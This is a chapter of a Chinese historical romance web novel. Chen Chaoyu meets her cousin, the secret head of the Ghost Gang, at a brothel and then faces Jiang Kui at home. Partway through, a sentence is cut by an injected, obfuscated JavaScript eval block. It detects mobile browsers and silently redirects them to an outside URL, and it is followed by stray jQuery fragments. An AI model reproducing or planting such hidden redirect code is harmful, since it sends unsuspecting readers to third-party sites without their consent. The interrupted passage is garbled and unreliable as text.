寂空闻声警觉,不自觉地握紧了手中的刀。
偏头往下一瞧,一个相貌平平的男子坐在轮椅上正弯唇看着他。
“你有何事?”寂空扫过此人被厚实毛毯盖住的腿警惕问道。
这人笑意不散,“一看公子便知是个武艺高强之人,我这腿脚不甚方便,不知可否搭把手将我推至‘风月楼’。”
腿都残了还要去青楼寻欢作乐?寂空这般想着双手还是老实扶上了轮椅靠背。车轮滚至门口,此人还做出邀请之态,“不如你我二人同进,今日就由我请客做东。”
寂空飞快地摇着头,谢过此人的美意。
就这么一瞬,他看见了风月楼里的纵情声色,不成不成,得赶紧飞书大人。
楼里热闹非凡,胭脂香中混着酒气,觥筹交错中已有机灵的几个女子往楼上来寻陈朝玉姐妹俩。
陈朝欣提笔濡墨,对着皇妃的名册将消息记录了下来。
见她忙得头都没抬起的功夫,陈朝玉出了屋门,钻进了隔壁的那件上房。
屋内正是方才的轮椅公子。
“二表哥!”陈朝玉十分高兴。
紧接着又将视线移至轮椅上,“怎么没有将我做的假腿安上,那木头可是我费了很大的功夫从海那头运来的。”
“你先坐,急什么。”二表哥对着随从使了个眼色,那随从从一旁木箱中拿出了两条足以以假乱真的木头人腿,若非上头钉了几块皮革,还真是以为卸了谁的腿。
陈朝玉见他动作潇洒地牵拉拽扯,随后便弃了轮椅直接站了起来。
“不错不错,不愧为我的手艺。”
二表哥从这头走到那头,又行至她面前,咧着嘴看着她。
“这番手艺才对得起你这‘补天手’的名号。”
陈朝玉撇了撇嘴,一记白眼飞过,“杨泽之,你信不信我让大舅舅追到碧烟岭揍你。”
杨泽之这才收了那讨打的模样,正色道,“我都死了,来揍我的魂啊。”
陈朝玉叹气,五年前,她这二表哥云游四海时结识了鬼帮的帮主,这帮主与他一见如故,二人谈天说地,抱负相同,后来遇到仇家追杀,马车翻到山崖之下,这腿也就是那时伤了。也是在山崖等待帮众救援之时,他才发现这帮主竟是个女子。
一来二去的,二人就结为夫妻。去岁,帮主忽然失踪,杨泽之按帮规继承帮主之位。只是这鬼帮规矩中有这么一条。
【帮主在尘世中需为死人。】
而杨泽之与父亲不和,五年前掉崖后便将死讯传至建州,这就导致现如今,提到大舅舅的小儿子时,家中亲属皆惋惜不已,。
“你就没打算再活过来?”陈朝玉头疼道。
“有大哥在家呢。”
见他依旧固执,陈朝玉也不再劝说,只将这几个月自己经历的事挑重要的说了几件。
“那你和那个江奎如何了?”陈朝玉说了一大堆别人的事,自己的事却未提半分,杨泽之抬手打断她的话,问出自己想知晓的事。
陈朝玉正说得尽兴呢,被这一问给噎住。
假笑了一声后嗓子里发出含糊的一声,“还成吧。”
杨泽之见她白皙的脸上泛着红晕,心下已明,可还是想逗她一逗。
“这……还成,是什么意思?我从前教你的几个点子你使上了吗?”
陈朝玉点头,“就那一招‘示弱’就很有效用,不过刚回来那几日他倒是挺吓人的,我还伤心了几日,觉得人心易变呢。”
“现在呢?”杨泽之觑着眼问。
“如今一切都说开了,自是误会消散,一切都向前看。”
“那我不日便要喝喜酒了?”
陈朝玉飞快摇头,“不不不,倒也没这么急。”
杨泽之欣慰一笑,江奎这人他倒是觉得是个好妹婿,男子汉大丈夫就得有个能震慑人的气度,不然如何立家。况且当初新帝登基,他也是斟酌了一番品行才决意要相帮江奎的,并非只考虑到新帝身上有杨家的血脉。
“这是上回修玉玺的报酬。”
陈朝玉见他从怀中掏出银票,立刻低头双手接过,“谢帮主赏。”
杨泽之见她使相,笑着拿银票敲了敲她的后脑勺。
“不说笑了,此次下山见你一切都好我就放心了,我得去找找月如,未回来这些日子帮里的事就你多操心了。”
陈朝玉数着银票的手一顿,震惊抬头,见二表哥认真的模样,随即苦着脸点头,“晓得了,只是如今身在汴京进帮多有不便,帮中事宜我只能在开鬼市时一并处理,你找到嫂子后得抓紧回来。时间一长恐怕会露馅。”
“我都交待清楚了,没有什么大事他们不会找你。”杨泽之说完便起身欲走。
走到门口时,脚步一顿,回头看着陈朝玉,“方才遇到一个鬼鬼祟祟的人,长得还算入眼,抱着个刀,穿的像是军营中的衣裳,你可认识?”
寂空的武器是刀,慧明的武器是剑。陈朝玉略一思索便猜出是谁,“认识的,表哥你就别疑神疑鬼的,天子脚下还能出什么大贼!”
杨泽之笑着关了门,陈朝玉也起身准备去看看陈朝欣记录的如何了。前脚刚迈出房门,她便犹如雷劈般定住了脚步。
寂空此时出现在风月楼外,定是知道她在楼中,他既知道,那江奎也就知道了。
完了完了完了,陈朝玉脸色沉沉,闷闷地进了屋。
“姐姐,你可回来了,你瞧瞧这记得还成吗?”
陈朝玉已没了细看的心情,索性直接将册子合上,明日会有人来府中取的。
江奎不在京中,消息传过去可要些时候呢,现在忧虑可不是杞人忧天么。
“走吧,回府。”陈朝玉兴致恹恹,兵来将挡水来土掩吧。
这一回到山月居,便看到方方圆圆神色复杂地候在卧房门外,陈朝玉微怔,不敢相信的朝里头看去,那坐在桌边拿着书的人不是江奎是谁。一旁的烛台火焰忽而闪动,他垂在鬓边的两绺银发跟着一动,翻页的同时朝着门外一瞥,四目相对。
陈朝玉尴尬一笑,脚步往前动着。
“你怎么回来的这样快?”
江奎放下书,上下看了看她,“穿成这样去哪儿了?”
陈朝玉开口就要解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748783|187986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
释,可转念一想,若是自己提起这件事那可不是暴露了表哥么,不成,还是得装作不知。
抬手蹭了蹭鼻子,“没去哪,替昭庆办事去了。”
“穿着男人的衣服,还一身香气,你这是办大事啊。”
“那自然是大事。”说着陈朝玉为自己倒了杯茶水,背着身子无意提高了嗓门。
江奎见她一副心虚的模样,早已散去初闻此事的怒气。
“我是怕你在风月楼吃亏才回来的,不过你向来稳当,我大约是多虑了。”
风月楼他也去过,当初鬼帮给他与安王勾连的大臣名单时,也是在此处交易的。正因如此,他有些怕陈朝玉被鬼帮盯上,到时被之作了文章。毕竟鬼帮恶名在外,许多事无所不用其极。
想到这些,江奎眉头微微皱起,眸中也生出隐隐杀气。这大宋新朝,朝堂之事皆过他眼,就这鬼帮神出鬼没不在他的掌控之中,反而有些操控他的意味,对他有利可图可以,可将视线投向他的心之所爱是绝不能容忍的。
“你用饭了吗?”陈朝玉岔开话头。
紧接着又飞快接了一句,“我还未吃呢,要不让厨司送些饭菜来?”
江奎见她半侧身地扭头望他,眼皮一开一合缓慢眨着,分明一副我知道你生气但是能不能别计较了的可怜模样。
悠悠地叹了口气,“没呢,正饿着呢。”
陈朝玉呵呵一声假笑,示弱还真是好招啊,立即吩咐方方去厨房传话。
等饭菜来的功夫,屋内又陷入了一阵诡异的氛围。
江奎看着单纯不经世事的她,心中发慌,陈朝玉望着心思敏捷的他,心中也发慌。
“你……藏在哪里?”陈朝玉见他靴底粘泥。
“哦?你知晓我没去边境迎战西夏。”江奎知道今夜回来定是会被她觉出不对,但没想到这么快。
“这么重要的一场战斗,居然没有告庙祭天,也没有誓师,事出紧急也没有这般随意的,而且……我侧面问了爹,近日朝会中可有关乎西夏的消息,爹说除了西夏会送过来一个王子之外,并无其他。”
江奎凤眸一凛,眉间一耸,轻笑出声,昨日回府时心中暖意还如滔滔不绝的潮水般汹涌,自己躺在榻上不知怎的想起了她不甚在意的一句要小心,自己还闷了一刻,敢情她早就猜出他压根没走多远。
“圣上只召了几个重臣在寝殿密谈,不日便会在朝会中宣告我出征之事。”江奎一句话掩盖了此事的危险。
陈朝玉点了点头,“这计策是用来做什么的?”
“这是朝廷密事,你知道会被杀头。”
陈朝玉抬手摸了摸自己的脖颈,江奎避开视线,那葱白手指拂过颈上玉白,看得人热血狂啸,尤其是她今日一改常态穿的男子衣服,更让他觉得有趣和诱人。
“江大人,姑娘,饭菜来了。”
“喝酒吗?”陈朝玉抬起杏眸问道。
江奎下意识就要拒绝,可她的神色里分明就是想喝,“听你的。”
“成,那就喝锦江春。”
烈酒啊,江奎些许意外,掀眸望她,可真是长大了。